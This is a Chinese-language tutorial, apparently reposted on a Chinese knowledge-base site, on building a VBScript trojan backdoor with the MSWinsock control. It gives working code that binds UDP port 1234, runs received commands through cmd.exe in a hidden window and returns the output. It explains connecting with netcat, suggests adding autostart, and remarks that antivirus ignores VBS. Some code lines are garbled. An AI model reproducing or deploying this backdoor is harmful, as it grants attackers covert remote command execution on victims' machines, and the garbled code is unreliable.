主頁 > 知識庫 > VBS+MSWinsock打造靈巧UDP后門的相關(guān)資料

VBS+MSWinsock打造靈巧UDP后門的相關(guān)資料

熱門標(biāo)簽:銀行業(yè)務(wù) 檢查注冊表項 網(wǎng)站文章發(fā)布 服務(wù)器配置 美圖手機(jī) 鐵路電話系統(tǒng) 呼叫中心市場需求 智能手機(jī)
大概在一年前,VBS腳本病毒又揭起一陣熱潮,一大群VBS病毒在互聯(lián)網(wǎng)上盛行。那時的VBS病毒幾乎都是用FSO、MAPI作為一個病毒傳染引擎,所以我就想,VBS可否訪問網(wǎng)絡(luò)呢?如果它也能進(jìn)行端口的連接,那就神奇了。從此之后,我就努力去找有關(guān)VBS的網(wǎng)絡(luò)類的資料,可惜找了好久,什么收獲也沒有,直到一個月前高考結(jié)束了,我才可以靜下來搞這個東西,并終于有了一點(diǎn)進(jìn)展。
現(xiàn)在分析一下VBS的運(yùn)作原理吧。VBS的全稱是“Visual Basic Scripts”,由于VBS是由Visual Basic分離出來的一種面向?qū)ο蟮哪_本語言,所以它的語法與Visual Basic差不多,而且也是靠Object來實(shí)現(xiàn)它的其它高級功能。只不過是VBS是用Wscript.exe或Cscript.exe來解釋的,因此它不需要編譯,直接運(yùn)行就行了,所以這也是VBS腳本做黑客工具方面的特長之一:普通殺毒軟件不會對VBS感興趣。因為VBS是一種面向?qū)ο蟮哪_本語言,所以微軟的很多ActiveX組件都可以通過“CreateObject(“ObjectName”)”來創(chuàng)建引用,這可能是微軟公司的程序接口吧!也許用過VB編寫網(wǎng)絡(luò)程序的朋友也知道,用VB寫網(wǎng)絡(luò)程序大致有兩種:一是調(diào)用Windows的API函數(shù),二是用VB自帶的Winsock控件,也就是在Windows系統(tǒng)目錄中見到的“MSWinsock.ocx”。由于前者的API函數(shù)比較復(fù)雜,很多朋友比較喜歡用VB自帶的Winsock控件,不知道大家有沒有留意到那個Winsock控件,其實(shí)它就是我前面講的ActiveX組件,它提供了訪問TCP和UDP網(wǎng)絡(luò)服務(wù)的方便途徑,為編寫客戶或服務(wù)器應(yīng)用程序,不必了解TCP的細(xì)節(jié)或調(diào)用低級的Winsock APIs。通過設(shè)置控件的屬性并調(diào)用其方法就可輕易連接到一臺遠(yuǎn)程機(jī)器上去,并且還可雙向交換數(shù)據(jù)。既然找到了訪問網(wǎng)絡(luò)的引擎,那如何來用呢?用法又是不和VB中那樣用呢?
Winsock控件用法大體上是同VB上的一樣,但在VBS中,ActiveX控件并不是像VB中那樣是可以見到的,要在VBS上引用它當(dāng)然是先創(chuàng)建它的對象。創(chuàng)建方法就像創(chuàng)建FSO等對像。新建一個文本文件,在里面寫入:
--------------------------------------------------
Set Sock=CreateObject("MSWinsock.Winsock")
Sock.AboutBox
--------------------------------------------------
保存為*.vbs運(yùn)行它,就可以看到注冊在你系統(tǒng)中的WinSock控件的有關(guān)信息。
怎能么樣?開心吧,別急,我下面會詳細(xì)講講。既然對象創(chuàng)建成功了,當(dāng)然是要像VB中那樣用它了。在VBS中創(chuàng)建的WinScok不能像VB中那樣圖形介面那樣設(shè)置參數(shù)就行,是應(yīng)該一步一個腳印來設(shè)置好你所創(chuàng)的是什么協(xié)議。在WinSock控件中要設(shè)置的協(xié)議是通過“Protocol”來設(shè)定的,如sock.Protocol=0 或 sock.Protocol=1。注意當(dāng)“Protocol”的值為“0”時,所創(chuàng)建的協(xié)議是TCP;值為“1”時,則創(chuàng)建的是UDP。
我先介紹一下有關(guān)WinSock控件引用的基本方法和事件吧:
LocalHostName //取得本地主機(jī)名
LocalIP //取得本地主機(jī)IP
SocketHandle //取得創(chuàng)建SOCK的句柄
RemotePort //設(shè)置或取得遠(yuǎn)程端口
LocalPort //設(shè)置或取得本地端口
State //返回創(chuàng)建sock的對像狀態(tài)(代嗎如下){
0 缺省的。關(guān)閉 
1 打開 
2 偵聽 
3 連接掛起 
4 識別主機(jī) 
5 已識別主機(jī) 
6 正在連接 
7 已連接 
8 同級人員正在關(guān)閉連接 
9 錯誤 }
BytesReceived //返回接收到的(當(dāng)前在接收端緩沖區(qū)內(nèi)的)數(shù)據(jù)的數(shù)量
Connect(RemoteHost,RemotePort) //建立遠(yuǎn)程連接,RemoteHost遠(yuǎn)程主機(jī)IP,RemotePort遠(yuǎn)程主機(jī)端口
Listen //使SOCK偵聽
SendData/GetData //發(fā)送或接收數(shù)據(jù)
Close //關(guān)閉對像
Bind(LocalPort, LocalIP)//綁定本地端口。
那些基本的東西我講完了,下面我測試一下遠(yuǎn)程主機(jī)會話吧(UDP),下面是一個VBS文件,大家可以試試,代碼如下(文件sock-udp.vbs):
----------------------------------------
dim revdata
dim sendata
//創(chuàng)建Winsock對像
set sock=createobject("MSWinsock.Winsock") 
//使用UDP協(xié)議
//建立連接
sock.Protocol=1sock.Connect "127.0.0.1",1234
//定義要發(fā)送的數(shù)據(jù)
sendata="Hello!!!"chr(13) 
//發(fā)送我們要發(fā)的數(shù)據(jù)
sock.senddata sendata 
do
//如果有數(shù)據(jù)回應(yīng)就顯示它
if sock.BytesReceived>0 then 
//定義接收數(shù)據(jù)類型(數(shù)據(jù)類型有vbByte、vbInteger、vbLong、vbSingle
//vbDouble、vbCurrency、vbDate、vbBoolean、vbError、vbString、vbArray+vbByte)
//也只有定義好要接收的數(shù)據(jù)類型才能收到數(shù)據(jù),不然會收到的是一堆亂碼;
sock.getdata revdata,vbString;
sendata=inputbox (revdata,"RecviedData","請輸入你要發(fā)的信息")
sock.senddata senddata  chr(13)
//當(dāng)收到含有"exit"字串時結(jié)束VBS進(jìn)程
if instr(revdata,"exit") then exit do
else
end if
loop
//關(guān)閉對像套接
sock.close
------------------------------------------
然后用“nc -u -l -p 1234”監(jiān)聽本地UDP端口1234,再運(yùn)行剛編寫的VBS文件,看!我的NC有反應(yīng)了。
里面的“MicroSoft (r) Windows Based Script Host”就是我們的VBS主進(jìn)程了。在NC里我們還可以發(fā)信息、聊天,怎么樣?一個簡單的UDP C/S已經(jīng)完成了。下面我再寫一個關(guān)于它的利用吧,既然它能訪問網(wǎng)絡(luò),當(dāng)然是用它的做個VBS木馬啦!老編們不會反對吧!哈哈,Let's Go!
--------------------------
Dim revdata
set sock=createobject("MSWinsock.Winsock")
set sc=createobject("WScript.Shell")
Set fso =CreateObject("Scripting.FileSystemObject")

sock.Protocol=1 //這個當(dāng)然是UDP協(xié)議的標(biāo)識啦
sock.bind 1234 //綁定本地的UDP端口

Do
if sock.BytesReceived>0 then
sock.getdata revdata,vbString
if instr(revdata,"exit")>0 then
exit do
else
on error resume next
tempfile="C:\"  fso.GetTempName
'cmd=right(revdata,len(revdata)-4)
cmd=left(revdata,len(revdata)-3)
//利用綁定cmd的輸出
call sc.Run ("cmd.exe /c "  cmd  " > "  tempfile,0,True)
Set txf = fso.OpenTextFile(tempfile,1,false,0)
//把輸出的文件讀入內(nèi)存,用SendData發(fā)送到客戶端
sock.senddata txf.readall  vbcrlf  vbcrlf
txf.close
call fso.DeleteFile(TempFile,True)
end if
//嘻嘻,下面是我的版權(quán)喔
sock.senddata "--End--"  vbcrlf  "ForHelp exit:end|run:RunFileName>"  vbcrlf  "Maked by Attrib Data:2004.7.28"  vbcrlf  vbcrlf
end if
Loop
sock.senddata "連接已關(guān)閉!"  vbcrlf
sock.close
sock=nothings
-------------------
到此,代碼的基本架構(gòu)已經(jīng)完成了,要想做一個全能的木馬可以在代碼里加上諸如開機(jī)自動運(yùn)行等。由于VBS程序沒有設(shè)置出錯保護(hù),可能一些錯誤的操作會出現(xiàn)程蹦潰,有興趣的朋友可以自己試試。用法是先把這個VBS后門運(yùn)行在服務(wù)端,之后就用你的NC連,因為用的是UDP協(xié)議,NC的命令行是“NC –u IP Port”,記得要加上那個“-u”參數(shù)啊,之后就像WinShell一樣用就行了,下面是在我的機(jī)器里測試的截圖。


至于TCP如何編寫,道理也跟UDP差不多,我這里就不再多寫了,大家可以自己研究下。
如果有什么好的方法還可以和我一同研究。謝謝觀賞。
您可能感興趣的文章:
  • Linux下查找后門程序 CentOS 查后門程序的shell腳本
  • PHP隱形一句話后門,和ThinkPHP框架加密碼程序(base64_decode)
  • 利用wsc制作的一個asp后門
  • 變態(tài)入侵之有史以來最酷的Windows后門sethc.exe
  • VC++植物大戰(zhàn)僵尸中文版修改器實(shí)現(xiàn)代碼
  • C++動態(tài)規(guī)劃之最長公子序列實(shí)例
  • C++動態(tài)規(guī)劃之背包問題解決方法
  • C++實(shí)現(xiàn)基于控制臺界面的吃豆子游戲
  • C++映像劫持后門實(shí)例分析

標(biāo)簽:上海 紅河 長治 樂山 沈陽 滄州 河南 新疆

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《VBS+MSWinsock打造靈巧UDP后門的相關(guān)資料》,本文關(guān)鍵詞  ;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題,煩請?zhí)峁┫嚓P(guān)信息告之我們,我們將及時溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無關(guān)。
  • 相關(guān)文章
  • 收縮
    • 微信客服
    • 微信二維碼
    • 電話咨詢

    • 400-1100-266